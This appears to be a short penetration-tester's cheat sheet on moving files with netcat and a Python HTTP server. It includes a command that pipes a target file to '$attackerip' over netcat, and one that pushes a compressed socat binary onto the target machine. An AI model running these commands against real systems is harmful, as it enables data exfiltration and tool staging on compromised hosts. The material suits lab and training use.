Netcat File Transfer

• Step 1
• Create a file on the target box in the /tmp directory

touch file.txt

• Set up the listener and direct STDOUT into the new file

nc -nlvp 1234 > file.txt

• Send the file

nc [target box ip] 1234 < file-to-be-transfered.txt

Method Two

• On the attacker machine run:

nc -lvp 443> transfer.txt

• On the target run:

cat transfer.txt | nc $attackerip 443

NC Transfer with gzip data

//on target machine 
nc -nvlp 10000 | gzip -d > .y
//local machine 
cat ~/tools/static-binaries/socat/socat | gzip -c - | nc 127.0.0.1 10000
// check md5 hashes match on both systems

Web Servers:

Python HTTP Server File Transfer

• Start the Python Server in the directory where the file is located that you want to transfer
• Use the ip address assigned to your box, if there is a vpn involved use the vpn address

python3 -m http.server

• Above is for python3
